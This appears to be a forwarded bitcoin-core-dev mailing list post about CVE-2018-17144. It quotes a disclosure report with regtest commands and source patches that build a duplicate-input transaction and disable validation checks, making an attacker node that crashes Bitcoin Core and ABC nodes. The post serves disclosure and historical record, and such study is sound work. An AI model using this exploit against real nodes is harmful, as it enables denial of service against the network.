<div dir="ltr"><br><div class="gmail_quote">---------- Forwarded message ----------<br>From: <b class="gmail_sendername">Gregory Maxwell via bitcoin-core-dev</b> <span dir="ltr"><<a href="mailto:bitcoin-core-dev@lists.linuxfoundation.org">bitcoin-core-dev@lists.linuxfoundation.org</a>></span><br>Date: Sat, Sep 22, 2018 at 12:12 PM<br>Subject: [bitcoin-core-dev] On the initial notice of CVE-2018-17144<br>To: <a href="mailto:bitcoin-core-dev@lists.linuxfoundation.org">bitcoin-core-dev@lists.linuxfoundation.org</a><br><br><br>For some reason I don't understand, Andrea Suisani is stating on<br>
twitter that the the report by awemany was a report of an inflation<br>
bug, contrary to the timeline we published. This is not the case:<br>
the report specifically stated that inflation was not possible because<br>
the node crashed. It also described a reproduction of the crash, but<br>
not of inflation.<br>
<br>
I generally understand how someone could be confused about what a<br>
report they hadn't seen said, but I'm confused in this case because<br>
Andrea Suisani was copied on the report to us. So I'm not sure what is<br>
up with that, perhaps the message got lost in email. If the reporter<br>
knew the bug permitted inflation, they still specifically reported<br>
otherwise to us.<br>
<br>
Since people are also expressing doubt that awemany was actually the<br>
author of the report, I'll include it here in its entity to aid<br>
people's validation of the claim(s). There is a better test for the<br>
crash issue include in master branch of the Bitcoin repository, the<br>
reporter's reproduction instructions here are only included for<br>
completeness.<br>
<br>
Cheers,<br>
<br>
<br>
Date: Mon, 17 Sep 2018 14:57:46 +0000<br>
To: Pieter Wuille <<a href="mailto:pieter.wuille@gmail.com">pieter.wuille@gmail.com</a>>, deadalnix<br>
<<a href="mailto:deadalnix@gmail.com">deadalnix@gmail.com</a>>, Andrea Suisani <<a href="mailto:sickpig@gmail.com">sickpig@gmail.com</a>>, Gregory<br>
Maxwell <<a href="mailto:gmaxwell@gmail.com">gmaxwell@gmail.com</a>>, "Wladimir J. van der Laan"<br>
<<a href="mailto:laanwj@gmail.com">laanwj@gmail.com</a>><br>
From: beardnboobies <<a href="mailto:beardnboobies@protonmail.com">beardnboobies@protonmail.com</a>><br>
Subject: Zero day exploit in Bitcoin ABC and Bitcoin Core<br>
<br>
Dear Bitcoiners,<br>
<br>
Please find attached an encrypted description of a crashing zero day<br>
exploit for Bitcoin Core as well as Bitcoin ABC. This has not been<br>
reproduced for Bitcoin Unlimited, though for advisory reasons, I am<br>
sending it to one of their members that I could find a PGP key for as<br>
well.<br>
<br>
Please forward this to any party who might have a valid interest,<br>
including Bitcoin miners.<br>
<br>
Thank you very much.<br>
<br>
===<br>
<br>
Problem description:<br>
<br>
The following, miner-exploitable zero day has been found in Bitcoin ABC as<br>
well as in Bitcoin Core:<br>
<br>
Duplicate inputs are not checked in CheckBlock,<br>
only when they are accepted into the mempool.<br>
<br>
This creates a problem insofar as a transaction might bypass<br>
the mempool when it is included in a block, for example if<br>
it is transmitted as an extra transaction along with a compact<br>
block.<br>
<br>
A later assertion assert(is_spent) in SpendCoins (in validation.cpp)<br>
seems to prevent the worse outcome of monetary inflation by<br>
the comparatively better result of crashing the node.<br>
<br>
To reproduce (Description is for Bitcoin ABC, but applies similarly to<br>
Bitcoin Core):<br>
<br>
Create one instance of ABC bitcoind without the patch below<br>
applied (A) and create on instance of ABC with the patch applied (B).<br>
The patch removes sending of transactions and testing for double-spent<br>
inputs for the attacker node.<br>
<br>
Run both in regtest mode and point them to different data directories,<br>
like so and connect them together:<br>
A: ./bitcoind -regtest -rpcport=15000 -listen -debug -datadir=/tmp/abc.1<br>
B: ./bitcoind -regtest -rpcport=15001 -connect=localhost -debug<br>
-datadir=/tmp/abc.2<br>
<br>
Now on the prepared attacker node B, create a bunch of blocks and a transaction<br>
that double-spends its input, like so for example:<br>
<br>
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 generate 200<br>
<br>
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 getnewaddress<br>
<address><br>
<br>
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 sendtoaddress <address><br>
<resulting-txid><br>
<br>
> ./bitcoin-tx -regtest -create in=<resulting-txid>:<vout> in=<resulting-txid>:<vout> outaddr=99.9:<address><br>
<resulting-txn-hex><br>
<br>
The double entry of the input here is not a typo. This is the desired<br>
double-spend.<br>
<br>
Sign the resulting transaction hex like so:<br>
<br>
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 signrawtransaction <txid><br>
<signed-txn-hex><br>
<br>
For Core, this step needs to be adapted to signrawtransactionwithkey.<br>
And send the result into the small regtest test netwrok:<br>
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 sendrawtransaction <signed-txn-hex><br>
<br>
Voila, your node A should have just aborted like this:<br>
<br>
bitcoind: validation.cpp:1083: void SpendCoins(CCoinsViewCache&, const<br>
CTransaction&, CTxUndo&, int): Assertion `is_spent' failed.<br>
Aborted (core dumped)<br>
<br>
If you like this work or want to pay out a bounty for finding a zero day,<br>
please do so in BCH to this address. Thank you very much in advance.<br>
<br>
bitcoincash:<wbr>qr5yuq3q40u7mxwqz6xvamkfj8tg45<wbr>wyus7fhqzug5<br>
<br>
<br>
The patch for ABC:<br>
<br>
diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp<br>
index ee909deb9..ff7942361 100644<br>
--- a/src/consensus/tx_verify.cpp<br>
+++ b/src/consensus/tx_verify.cpp<br>
@@ -229,7 +229,7 @@ static bool CheckTransactionCommon(const CTransaction &tx,<br>
<br>
// Check for duplicate inputs - note that this check is slow so we skip it<br>
// in CheckBlock<br>
- if (fCheckDuplicateInputs) {<br>
+ if (0) {<br>
std::set<COutPoint> vInOutPoints;<br>
for (const auto &txin : tx.vin) {<br>
if (!vInOutPoints.insert(txin.<wbr>prevout).second) {<br>
diff --git a/src/net_processing.cpp b/src/net_processing.cpp<br>
index e4ecc793c..ee1cc3cda 100644<br>
--- a/src/net_processing.cpp<br>
+++ b/src/net_processing.cpp<br>
@@ -1269,12 +1269,6 @@ static void ProcessGetData(const Config<br>
&config, CNode *pfrom,<br>
// however we MUST always provide at least what the<br>
// remote peer needs.<br>
typedef std::pair<unsigned int, uint256> PairType;<br>
- for (PairType &pair : merkleBlock.vMatchedTxn) {<br>
- connman->PushMessage(<br>
- pfrom,<br>
- msgMaker.Make(NetMsgType::TX,<br>
- *block.vtx[pair.first]));<br>
- }<br>
}<br>
// else<br>
// no response<br>
@@ -1321,25 +1315,6 @@ static void ProcessGetData(const Config<br>
&config, CNode *pfrom,<br>
bool push = false;<br>
auto mi = mapRelay.find(inv.hash);<br>
int nSendFlags = 0;<br>
- if (mi != mapRelay.end()) {<br>
- connman->PushMessage(<br>
- pfrom,<br>
- msgMaker.Make(nSendFlags, NetMsgType::TX,<br>
*mi->second));<br>
- push = true;<br>
- } else if (pfrom->timeLastMempoolReq) {<br>
- auto txinfo = <a href="http://mempool.info" rel="noreferrer" target="_blank">mempool.info</a>(inv.hash);<br>
- // To protect privacy, do not answer getdata using the<br>
- // mempool when that TX couldn't have been INVed<br>
in reply to<br>
- // a MEMPOOL request.<br>
- if (txinfo.tx &&<br>
- txinfo.nTime <= pfrom->timeLastMempoolReq) {<br>
- connman->PushMessage(pfrom,<br>
- msgMaker.Make(nSendFlags,<br>
- NetMsgType::TX,<br>
- *txinfo.tx));<br>
- push = true;<br>
- }<br>
- }<br>
if (!push) {<br>
vNotFound.push_back(inv);<br>
}<br>
diff --git a/src/validation.cpp b/src/validation.cpp<br>
index a31546432..a9edbb956 100644<br>
--- a/src/validation.cpp<br>
+++ b/src/validation.cpp<br>
@@ -1080,7 +1080,7 @@ void SpendCoins(CCoinsViewCache &view, const<br>
CTransaction &tx, CTxUndo &txundo,<br>
for (const CTxIn &txin : tx.vin) {<br>
txundo.vprevout.emplace_back()<wbr>;<br>
bool is_spent = view.SpendCoin(txin.prevout, &txundo.vprevout.back());<br>
- assert(is_spent);<br>
+ //assert(is_spent);<br>
}<br>
}<br>
<br>
<br>
----<br>
The same patch for Core:<br>
<br>
diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp<br>
index 0628ec1d4..a06f77f8b 100644<br>
--- a/src/consensus/tx_verify.cpp<br>
+++ b/src/consensus/tx_verify.cpp<br>
@@ -181,7 +181,7 @@ bool CheckTransaction(const CTransaction& tx,<br>
CValidationState &state, bool fChe<br>
}<br>
<br>
// Check for duplicate inputs - note that this check is slow so<br>
we skip it in CheckBlock<br>
- if (fCheckDuplicateInputs) {<br>
+ if (0) {<br>
std::set<COutPoint> vInOutPoints;<br>
for (const auto& txin : tx.vin)<br>
{<br>
diff --git a/src/net_processing.cpp b/src/net_processing.cpp<br>
index b48a3bd22..9b7fb5839 100644<br>
--- a/src/net_processing.cpp<br>
+++ b/src/net_processing.cpp<br>
@@ -1219,8 +1219,6 @@ void static ProcessGetBlockData(CNode* pfrom,<br>
const CChainParams& chainparams, c<br>
// Thus, the protocol spec specified allows for<br>
us to provide duplicate txn here,<br>
// however we MUST always provide at least what<br>
the remote peer needs<br>
typedef std::pair<unsigned int, uint256> PairType;<br>
- for (PairType& pair : merkleBlock.vMatchedTxn)<br>
- connman->PushMessage(pfrom,<br>
msgMaker.Make(SERIALIZE_<wbr>TRANSACTION_NO_WITNESS, NetMsgType::TX,<br>
*pblock->vtx[pair.first]));<br>
}<br>
// else<br>
// no response<br>
@@ -1284,18 +1282,6 @@ void static ProcessGetData(CNode* pfrom, const<br>
CChainParams& chainparams, CConnm<br>
bool push = false;<br>
auto mi = mapRelay.find(inv.hash);<br>
int nSendFlags = (inv.type == MSG_TX ?<br>
SERIALIZE_TRANSACTION_NO_<wbr>WITNESS : 0);<br>
- if (mi != mapRelay.end()) {<br>
- connman->PushMessage(pfrom, msgMaker.Make(nSendFlags,<br>
NetMsgType::TX, *mi->second));<br>
- push = true;<br>
- } else if (pfrom->timeLastMempoolReq) {<br>
- auto txinfo = <a href="http://mempool.info" rel="noreferrer" target="_blank">mempool.info</a>(inv.hash);<br>
- // To protect privacy, do not answer getdata using<br>
the mempool when<br>
- // that TX couldn't have been INVed in reply to a<br>
MEMPOOL request.<br>
- if (txinfo.tx && txinfo.nTime <= pfrom->timeLastMempoolReq) {<br>
- connman->PushMessage(pfrom,<br>
msgMaker.Make(nSendFlags, NetMsgType::TX, *txinfo.tx));<br>
- push = true;<br>
- }<br>
- }<br>
if (!push) {<br>
vNotFound.push_back(inv);<br>
}<br>
diff --git a/src/validation.cpp b/src/validation.cpp<br>
index 947192be0..66536af24 100644<br>
--- a/src/validation.cpp<br>
+++ b/src/validation.cpp<br>
@@ -1315,7 +1315,7 @@ void UpdateCoins(const CTransaction& tx,<br>
CCoinsViewCache& inputs, CTxUndo &txund<br>
for (const CTxIn &txin : tx.vin) {<br>
txundo.vprevout.emplace_back()<wbr>;<br>
bool is_spent = inputs.SpendCoin(txin.prevout,<br>
&txundo.vprevout.back());<br>
- assert(is_spent);<br>
+ //assert(is_spent);<br>
}<br>
}<br>
// add outputs<br>
______________________________<wbr>_________________<br>
bitcoin-core-dev mailing list<br>
<a href="mailto:bitcoin-core-dev@lists.linuxfoundation.org">bitcoin-core-dev@lists.<wbr>linuxfoundation.org</a><br>
<a href="https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-core-dev" rel="noreferrer" target="_blank">https://lists.linuxfoundation.<wbr>org/mailman/listinfo/bitcoin-<wbr>core-dev</a><br>
</div><br><br clear="all"><div><br></div>-- <br><div class="gmail_signature" data-smartmail="gmail_signature">- Bryan<br><a href="http://heybryan.org/" target="_blank">http://heybryan.org/</a><br>1 512 203 0507</div>
</div>